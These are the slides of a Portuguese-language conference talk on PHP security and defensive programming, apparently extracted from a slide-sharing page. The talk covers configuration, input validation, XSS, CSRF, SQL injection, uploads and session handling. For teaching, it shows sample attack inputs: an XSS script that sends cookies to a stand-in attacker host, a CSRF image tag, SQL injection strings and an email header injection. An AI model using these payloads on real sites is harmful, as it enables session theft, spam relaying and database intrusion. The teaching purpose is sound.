[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Post on 21-Jan-2018

8.627 views 0 download

Transcript of [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

PHP no Campo de Batalha Segurança Avançada e Programação Defensiva

Rafael Jaques @rafajaques

“Porque Deus amou o mundo de tal maneira que deu o seu Filho Unigênito, para que todo aquele que nele crê não pereça,

mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao mundo não para condenar o mundo, mas para que o mundo

fosse salvo por meio dele.” (João 3.16-17)

Rafael Jaques

Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul.

Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior.

Desenvolvedor web e viciado em segurança.

www.php-rs.org

Slides da Palestra

1 Segurança da informação

Pontos-chave da SI

Integridade Confidencialidade

Disponibilidade

COMO VOU DESENVOLVER UMA APLICAÇÃO COM

TUDO ISSO?!?!?!?!?!?!

Vamos por partes!

Tudo começa com planejamento!

2 Planejamento

PlanejamentoProjete o seu sistema

Estude antes de implementar

Revise o que foi feito

Conheça o seu ambiente

PlanejamentoProjete o seu sistema

Estude antes de implementar

Revise o que foi feito

Conheça o seu ambiente

Conheça o seu ambiente

php.ini

Conheça o seu ambiente

phpinfo()

php.net/manual/ini.php

Conheça o seu ambiente

Altere as configurações do php.ini

ini_set() httpd.conf

.htaccess php.ini

Conheça o seu ambiente

Gerenciamento de erros do PHP

display_errors

log_errors error_log

Conheça o seu ambiente

Conhecer o sistema inclui saber os

problemas do servidor!

Problemas no servidor

Defesa em profundidade

Problemas no servidor

Lei do menor privilégio

3 Melhorando o código desenvolvido

Como desenvolver um bom código?

Tudo começa com

BOAS PRÁTICAS

Warning: Cannot modify header information - headers already sent by (output started at /path/to/script.php:1) in script.php on line 55

Omita as tags de fechamento

Boas práticas

Utilize extensões consistentes

Boas práticas

.php

.inc.php

.inc.php~

.bak

httpd.conf AddType application/x-httpd-php .php .phtml

DRY Don’t repeat yourself

Boas práticas

== != === Cuidado ao efetuar comparações

Boas práticas

“1” == 1

“1” === 1

true == 1

True

False

true === 1

NULL == false

NULL === falseTrue

True

False

False

Nunca edite arquivos em produção

Boas práticas

Funções perigosas

exec( )Não execute bobagem no seu sistema

shell_exec( )

system( ) passthru( )

proc_*( )

escapeshellcmd( ) escapeshellarg( )

eval( )Não execute bobagem no seu código

Funções perigosas

Seu ambiente também precisa de cuidado e atenção

Configuração do ambiente

HeadersPodem denunciar o seu servidor

expose_php php.ini

Apache

ServerTokens

Prod Major Minor Min Os Full

Configuração do ambiente

Gerenciar os erros pode

salvar seu dia!

Gerenciamento de erros

display_errors

error_reporting

log_errors

error_log

Mostrar erros na tela

Nível de erro mostrado

Logar erros

Arquivo de log

set_error_handler( )

error_log( )

Indica uma função para manipular erros

Loga um erro personalizado

Gerenciamento de erros

4 Filtragem de dados

Filtragem de dados

Bypass

Mistake Origin

isset( )is_array( )

is_bool( )

is_float( )

is_int( )

is_null( )

is_numeric( )

is_object( )

is_string( )

Filtragem de dados

Type CastingAssegure-se dos tipos de dados

$numero = (int) $variavel;

$numero = (float) $variavel;

Filtragem de dados

Type Casting

Assegure-se dos tipos de dados

$numero = settype($variavel, ‘integer’);

$bool = settype($variavel, ‘boolean’);

$texto = settype($variavel, ‘string’);

Filtragem de dados

Type Casting

Assegure-se dos tipos de dados

$numero = intval($variavel);

$numero = floatval($variavel);

$texto = strval($variavel);

Filtragem de dados

ValidateSanitizefilter_var( )

Validating && SanitizingBloqueie valores indesejados

Filtragem de dados

filter_var( )

php.net/filter.filters

FILTER_VALIDATE_* FILTER_SANITIZE_*

Validação de dados Verifica se

determinado valor encontra-se dentro dos parâmetros esperados.

Limpeza de dados Retira de um

determinado valor todos os caracteres que

não são permitidos.

Validaçãofilter_var( , )$valor CONSTANTE_FILTRO

Valor filtrado

bool(false)

ValidaçãoFILTER_VALIDATE_INT

“7”

7

0

true

false

int(7)

int(7)

int(0)

int(1)

bool(false)

“10 teste”

“palavra”

-5

3.1

bool(false)

bool(false)

int(-5)

bool(false)

bool(false)+0 || -0

ValidaçãoFILTER_VALIDATE_EMAIL

“rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false)

5 bool(false) “1@2” bool(false)

“phpit.com.br” bool(false) “joao quem”@site.com bool(false)

ValidaçãoFILTER_VALIDATE_FLOAT

php.net/filter.filters.validate

FILTER_VALIDATE_BOOLEAN

FILTER_VALIDATE_IP

FILTER_VALIDATE_URL

Limpeza

FILTER_SANITIZE_URL

http://phpit.com.br

http://phpit.com.br£

phpitº.com.br

br¶

§

string(19) "http://phpit.com.br"

string(19) "http://phpit.com.br"

string(12) "phpit.com.br"

string(2) "br"

string(0) ""

FILTER_SANITIZE_STRING

uma string string(10) "uma string"

string(12) "uma string *"

string(21) "uma string<tag>"

Limpeza

<tag>uma string *

<tag>uma string&lt;tag&gt;

LimpezaFILTER_SANITIZE_EMAIL

php.net/filter.filters.validate

FILTER_SANITIZE_SPECIAL_CHARS

FILTER_SANITIZE_ENCODED

FILTER_SANITIZE_NUMBER_INT

Cuidados com

Formulários

Spoofed Form Submissions

Cuidados com formulários

Spoofed HTTP Requests

Cuidados com formulários

Abuso de form mail

Cuidados com formulários

Abuso de form mail<?php

$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";

$para = "email@seguro.com";

$assunto = "Contato via site"; $corpo = $_POST['mensagem'];

mail($para, $assunto, $corpo, $cabecalhos);

Abuso de form mail

From: Fulaninho <meu@email.com>

To: email@seguro.com

Subject: Contato via site

Esta é a mensagem do e-mail

E s p e r a d o

Fulaninho\nBcc: um@email.com, spam@enviar.com,

Abuso de form mail

From: Fulaninho Bcc: um@email.com, spam@enviar.com, <meu@email.com>

To: email@seguro.com

Subject: Contato via site

Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!

P o s s í v e l

5 Upload de arquivos

MIME Type do $_FILES

Upload de arquivos

Algoritmo de

Análise de Conteúdo

Verificar o tipo da imagem

exif_imagetype( )

Upload de arquivos

php.net/function.exif-imagetype

Upload de arquivos

Ressalvar imagens

Upload de arquivos

Diretivas de upload

upload_max_filesize

post_max_size

Upload de arquivos

rafajaques  Palestra  de  PHP

exemplo.txt

Upload de arquivos

Array  (        [arquivo]  =>  Array              (                    [name]  =>  exemplo.txt                    [type]  =>  text/plain                    [tmp_name]  =>  /tmp/php3IdMTx                    [error]  =>  0                    [size]  =>  33              )  )

Upload de arquivos

POST  /upload.php  HTTP/1.1  Host:  localhost  Content-­‐Type:  multipart/form-­‐data;  boundary=-­‐-­‐-­‐-­‐12345  Content-­‐Length:  413  

-­‐-­‐-­‐-­‐12345  Content-­‐Disposition:  form-­‐data;  name="arquivo";  filename="exemplo.txt"  Content-­‐Type:  text/plain  

rafajaques  Palestra  de  PHP  

-­‐-­‐-­‐-­‐12345-­‐-­‐

Upload de arquivos

Movendo arquivos enviados

is_uploaded_file( )

move_uploaded_file( )

Upload de arquivos

6 Injeção de código

XSSCross-Site Scripting

XSS Cross-Site Scripting

<script>

document.location = "http://sitedomal.com?c=" + document.cookie

</script>

XSS Cross-Site Scripting

Filtrar dados externos

Utilize as funções de filtro

Utilize uma white-list

htmlentities( ) strip_tags( )

XSS Cross-Site Scripting

Utilize as funções de filtro

utf8_decode( ) filter_var( )

XSS Cross-Site Scripting

Cuidado com injeção de CSS

expression( ) url( ) Métodosespecíficos moz-

binding

CSRFCross-Site Request Forgery

CSRF Cross-Site Request Forgery

http://meusite.com/voto.php?id=1

<img src="http://meusite.com/voto.php?id=1" />

CSRF Cross-Site Request Forgery

Exigir um token

Solicitar reautenticação

Prefira POST em vez de GET

Limite o tempo de sessão

Verificar Referer Force o uso de seus formulários

uniqid( )

$_SERVER['HTTP_REFERER']

Outros tipos de injeçãoXPath LDAP

Bibliotecas de terceiros

Upload de arquivos

Indo além da

Validação de dados

Além da validação

Regras de negócio

Filtrou a entrada? Filtre a saída!

Não confie nos cookies!

7 Segurança em bancos de dados

SGBDs suportados pelo PHP

php.net/refs.database

dBaseDB++CUBRID

FrontBaseFireBird/InterbasefilePro

IngresInformixIBM DB2

mSQLMongoMaxDB

OracleMySQLM$ SQL

PostgreSQLParadoxOvrimos SQL

Tokyo TyrantSybaseSQLite

Conceitos básicos de

segurança em

Bancos de Dados

Lei do

Menor Privilégio

Não permita

Acesso Remoto

Prefira utilizar

UTF-8

Escapar caracteres

não é seguro

mysql_real_escape_string( )

addslashes( )

SQL e Blind SQL

Injection

SQLInjection

SQL Injection

Injeção de código SQL arbitrário dentro de uma consulta legítima.

SQL Injection

SQL Injection

1' OR 1='1

SQL Injection

fulano'# ou fulano' --

SQLInjection

Blind

Injeção de código arbitrário sem visualização da saída do banco.

Blind SQL Injection

sqlmap

Prepared Statements

e ORMs

Prepared Statements

Declarações preparadas

Compila as consultas SQL

Utiliza placeholders

Declarações preparadas

INSERT INTO produtos (nome, preco) VALUES (?, ?)

Prepared Statements

ORMObject-relational mapping

Reduz a escrita de SQL

Acesso ao banco através de classes

ORMs

Exposição de

credenciais

O que acontece se alguém tiver

acesso aos seus arquivos?

E se o PHP parar de

funcionar?

E se houver um include mal

programado?

8 Cookies e sessions

Cookies são client-side

Sessions são server-side

Cookies e Sessions

Cliente Servidor

Requisição HTTP

Resposta HTTP + Set Cookie

Requisição HTTP

Resposta HTTP

Cookies e Sessions

Servidor

session_start()Verifica se a sessão

existe

Procura pelo SESSID em um cookie

Procura pelo SESSID numa querystring

Busca os dados e cria a $_SESSION

Sim

Sim

Não

Cria uma nova SESSID

Não

Cookies e Sessions

Roubo de Cookie(Cookie Theft)

Não costumam existir

vulnerabilidades de

navegador para roubo

de cookies

Tome cuidado com

XSS

Cookies também

podem ser roubados

com sniffers

Proteja utilizando HTTPS

Vulnerabilidades

de Sessão

Exposição de Sessão

Dados de sessão podem ser

visualizados via sniff quando

não criptografado com HTTPS

Hospedagens compartilhadas podem

vazar dados dentro dos diretórios com

permissões de leitura a todos

Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão

Exposição de Sessão

Não é o roubo de um

ID de sessão.

É a imposição de um!

Fixação de Sessão

Não permita que sejam utilizados SID não gerados pela aplicação

Fixação de Sessão

Gere um novo SID em

cada requisição

Utilize session_regenerate_id()

Páginas com muito tráfego acabam gerando SID inválidos

Fixação de Sessão

Roubo de Sessão(Session Hijacking)

Roubo de Sessão

É possível fixar um SID,

forjar ou até mesmo

capturar um cookie!

Algumas sugestões para evitar roubo de sessão (tente

equilibrar usabilidade e segurança):

Gerar tokens únicos por usuário

Verificar User-Agent e IP

Utilizar sessões apenas via cookies

Roubo de Sessão

Não sacrifique a usabilidade do projeto!

não

Boas

práticas

Nunca utilize

cookies

para autenticaçãoPrefira cookies para informações não-vitais

Utilize sessões sempre em

conjunto com cookies

Ajuda a prevenir o roubo de sessão

pagina.php?PHPSESSID=1234

php.ini

session.use_cookiessession.use_only_cookiesGET / HTTP/1.1Host: algumsite.comUser-Agent: Mozilla/5.0Accept: image/png,image/*;q=0.8,*/*;q=0.5Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278dCache-Control: max-age=0

Cuidado com hospedagem

compartilhada ou dois sites

no mesmo servidor

Pode ocorrer choque de sessão

Utilize session_destroy() e

não apenas remova o

cookie

Um cookie roubado pode reinicializar uma sessão

Destrua a sessão antes de

alterar o nível de

permissão de usuário

autenticado

Impede que uma sessão de guest seja utilizada para um usuário autenticado

9 Tráfego na web

Fluxo do tráfego

Cliente Servidor

Requisição HTTP

Resposta HTTP

Requisição HTTP

Resposta HTTP

Sniffers em redes abertas

Wireshark

Configurando um certificado SSL

http://www.phpit.com.br/artigos/configurando-ssl-servidor-de-desenvolvimento-apache.phpit

Gerando um certificado para testes

Alternando entre HTTP e HTTPS

Leves diferenças na

$_SERVER sob HTTPS

$_SERVER[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 80[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www

HTTP

[HTTPS] => on[SSL_TLS_SNI] => localhost[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 443[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www

HTTPS

Force a utilização do

protocolo HTTPS

Via aplicação ou via apache

Monitorar logs

Manter PHP atualizado

Frameworks

Segurança física

Últimas dicas

Sempre que possível, utilize código refatorado

Exposição phpinfo()

Cuidados ao enviar e-mails Segurança no sistema de arquivos

Últimas dicas

Obrigado!Rafael Jaques

rafa@php.net

phpit.com.br

@rafajaques

slideshare.net/rafajaques

youtube.com/realphpit

w

@

Imagens utilizadas

• https://flic.kr/p/5Ndwd8

• https://flic.kr/p/i3NEP6